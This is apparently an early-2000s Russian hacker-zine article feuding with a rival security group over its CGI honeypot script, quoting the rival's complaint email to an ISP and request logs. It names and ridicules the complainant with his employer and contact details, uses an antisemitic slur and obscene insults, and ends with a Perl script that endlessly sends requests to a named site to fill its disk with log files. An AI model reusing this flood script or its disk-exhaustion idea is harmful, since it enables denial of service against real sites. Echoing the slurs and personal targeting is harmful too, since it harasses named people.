Abusing CGI-Honeypot
aka
Honey Potter in The Chumber of Secret
Предисловие
-----------
Очень часто в различных форумах можно слышать: "Хырь - сука", "Хырь -
чмырь". Правда ли это, и если да, то чем так всех достал пресловутый
"эксперт"? Скажем так, у каждого свои причины и доводы, мы же поведаем
вам одну занимательную историю, произошедшую некоторое время назад.
Как все вы, вероятно, помните, прежнее логово хырей [ UkR Security
Team ] распологалось по адресу http://ust.icqinfo.ru. Был там довольно
глупый раздел, однако ж весьма четко отражающий квалификацию и
увлечения авторов сайта, в который выкладывались информационные заметки
об атаках или "попытках вторжения" на страничку UsT [ United States
Teenagers ].
Безусловно, скучные записи вроде "/cgi-bin/phf attack from 1.2.3.4"
быстро приелись, в результате чего возникла идея поправить ситуацию.
Идея пришла, конечно же, не на пустом месте - главную роль тут сыграл
недавний конфликт с Хырем.
Реализация проста и безобидна - составить пару нехитрых запросов с
целью взбодрить "неприятеля", а заодно проверить, хватит ли у него
смелости выложить их в вышеупомянутом разделе. Реакция, однако ж,
оказалась самой сучьей,какую только можно представить: спустя некоторое
время поступает следующее сообщение (орфография и пунктуация "эксперта"
сохранены, "ds>" - наши комментарии):
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
From: "Павел Первин" <[email protected]>
To: <support@*****.net>
Cc: <webmaster@***.*****.net>
Subject: "Хакер" или вопрос о вашем клиенте (complaine)
ds> Что значит "complaine"? Вряд ли в саппорте знают китайский.
Здраствуйте.
ds> Превет
Я администратор сайта http://ust.icqinfo.ru, посвященного исследованиям
в области информационной безопасности.
С недавних пор к нашему ресурсу стал проявлять интерес один из ваших
клиентов. Он использует в сети прозвище "euronymous". Его веб-сайт:
http://f0kp.iplus.ru
ds> Эту информацию он, конечно же, из полученных GET-запросов взял :).
То что его деяния подпадают под действие статьи 272 УК РФ - это всем
понятно, но опять же мной в суде недоказуемо.
Мне во всем этом не нравиться только его повышенное внимание к моему
ресурсу. На нашем сайте установленна моя программа (perl-скрипт)
которая считывает переменные окружения при запросах, на которые веб-
сервер выдает ответы 404.
ds> Здесь прошу обратить особое внимание на словосочетание "моя
ds> программа".
Это сделано для обнаружения атак на наш сервер.
При обнаружении атаки скрипт обрабатывает это и посылает мне сообщение.
Я рассмотрев его публикую на сайт. Этот euronymous не зная этого
механизма вмешивается в работу скрипта,тем самым увеличивая мне траффик
(за который я плачу). Почему я сделал вывод что это ваш клиент ??
ds> Как вы прекрасно понимаете, пара таких запросов, не создает
ds> большого трафика и, как следствие, финансовых затрат, особенно
ds> принимая во внимание то, что Хорь не платит за хостинг на icqinfo.
Ответ:
HTTP_VIA=1.1 *****.***.*****.net:3128 (Squid/2.4.STABLE7)
REMOTE_ADDR=XXX.XXX.XX.XXX
REMOTE_PORT=52573
К письму присоединены архивы лишь только с малой частью логов за
прошедшие 2 дня.
ds> На самом деле эти два или три запроса были растиражированы на кучу
ds> файлов, чтобы придать безобидной выходке характер "массированной
ds> атаки", но учтите, что присланные им 40 файлов - это лишь "малая
ds> часть логов".
Я прошу вас принять какие-либо действия по предотвращению данных
инцидентов. В противном случае мне придется обращаться в компетентные
органы.
ds> Зачем пугать своими органами если это, как он сам сказал, "мной в
ds> суде недоказуемо"?
------------------------------------
С уважением,
Первин Павел Валерьевич
Аналитик информационной безопасности ЗАО "Верофарм"
email: [email protected]
web: http://www.veropharm.ru
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
Во вложении было два архива с логами общей численностью 40 файлов [ aka
"Хырь сделал copy-paste целых 40раз! mega-lol" (C)]. Вот пара примеров:
< skip>
REQUEST_METHOD=GET
REQUEST_URI=/XO4Y_YBuDETb_CBOu_URLs_B_ATTACK...TAK_Ty_BOPOHA_uJIu_nETYX??
SCRIPT_FILENAME=/pub/home/icqinfo2//ust/cgi-bin/honeypot.pl
SCRIPT_NAME=/cgi-bin/honeypot.pl
SERVER_ADDR=62.118.251.45
[email protected]
SERVER_NAME=ust.icqinfo.ru
SERVER_PORT=80
SERVER_PROTOCOL=HTTP/1.0
SERVER_SOFTWARE=Apache/1.3.27 (Unix) FrontPage/5.0.2.2623 PHP/4.3.2 mod
_gzip/1.3.19.1a mod_accounting/1.0 mod_fastcgi/2.4.0 mod_ssl/2.8.14
OpenSSL/0.9.7b rus/PL30.17
</ skip>
< skip>
REQUEST_METHOD=GET
REQUEST_URI=/urk_Xb|P_SUCK_MY_DICK
SCRIPT_FILENAME=/pub/home/icqinfo2//ust/cgi-bin/honeypot.pl
SCRIPT_NAME=/cgi-bin/honeypot.pl
SERVER_ADDR=62.118.251.45
[email protected]
SERVER_NAME=ust.icqinfo.ru
SERVER_PORT=80
SERVER_PROTOCOL=HTTP/1.0
SERVER_SOFTWARE=Apache/1.3.27 (Unix) FrontPage/5.0.2.2623 PHP/4.3.2 mod
_gzip/1.3.19.1a mod_accounting/1.0 mod_fastcgi/2.4.0 mod_ssl/2.8.14
OpenSSL/0.9.7b rus/PL30.17
</ skip>
Вот такими вот откровенно жидовскими и низкими методами защищаются
"аналитики информационной безопасности". И это далеко не единственный
случай: все вы прекрасно помните поданное на DHG заявление по делу о
"Дефейсе ust.icqinfo.ru".
На этом наше небольшое предисловие заканчивается. Теперь перейдем
непосредственно к содержанию. Как вы могли узнать выше, Хорь утверждал,
что honeypot.pl - это его программа..
На сайте http://www.meow.org.uk/stan/pet_projects/honeypot.html был
найден исходник скрипта (судя по всему украденного у urk team), схожего
по содержанию с тем, что был на сайте укропов. Различался он только
одной "значимой" строкой:
Из http://www.meow.org.uk/stan/pet_projects/honeypot.pl:
"""
<h1>exploit unsuccessful</h1>
This is <em>not</em> the script you're looking for. Move along.
This is a program to catch people trying to exploit insecurities
in common CGIs.<br>
Your details have been recorded, including the data you submitted
and your IP address ${ip_addr}.
Repeated attempts to exploit this server will result in you
being reported to your ISP.
"""
Из 62.118.251.45:/pub/home/icqinfo2/ust/cgi-bin/honeypot.pl:
"""
<h1>exploit unsuccessful</h1>
This is <em>not</em> the script you're looking for. Move along.
This is a program to catch people trying to exploit insecurities
in common CGIs.<br>
Your details have been recorded, including the data you submitted
and your IP address ${ip_addr}.
Repeated attempts to exploit this server will result in you
being reported to your ISP.<br>
- - - UkR security team - - -
"""
Вот собственно и весь "код" от горе-"программиста" Херя :).
Бесполезность этого скрипта налицо: он запишет в лог только обращения к
несуществующим файлам (смотрите настройку апача по ссылке выше), и
успешно пропустит атаки на существующие на сайте приложения. Кроме
того, каждая "попытка вторжения" записывается в отдельный лог-файл, то
есть logrotate здесь не прокатит, поэтому, если нет квот на дисковое
пространство (как в случае с сайтом urk), можно будет весьма быстро его
заполнить большими запросами.
Ну и напоследок очередной 11337 w4r3z в помощь :).
<< возможно придется что-то поправить :) >>
#!/usr/bin/perl
use Socket;
# config
$host = "ust.icqinfo.ru"; # ur favorite site
$proxy = "127.0.0.1"; # proxy host
$pport = 8080; # proxy port
# message u wanna send 2 United States Teenagers:
$message = "XbIP_YOU_DUMB_MOTHERFUCKIN_ASSHOLE_U_MUST_DIE_h0n0no";
# your 11337 user-agent ;)
$user_agent = "XbIp_ye6ak/compatible";
# end of config
$header = "GET $host/\r\r$message HTTP/1.1\r\n";
$header .= "Host: $host\r\n";
$header .= "Accept: */*\r\n";
$header .= "User-Agent: $user-agent\r\n\r\n\r\n";
while (1) # until u shut it down )
{
socket(S, AF_INET, SOCK_STREAM, 0);
if (!connect(S, sockaddr_in($pport, inet_aton($proxy))
{
print "[-] cant connect to proxy\n";
exit;
}
send(S, $header, 0);
close(S);
}
# eof?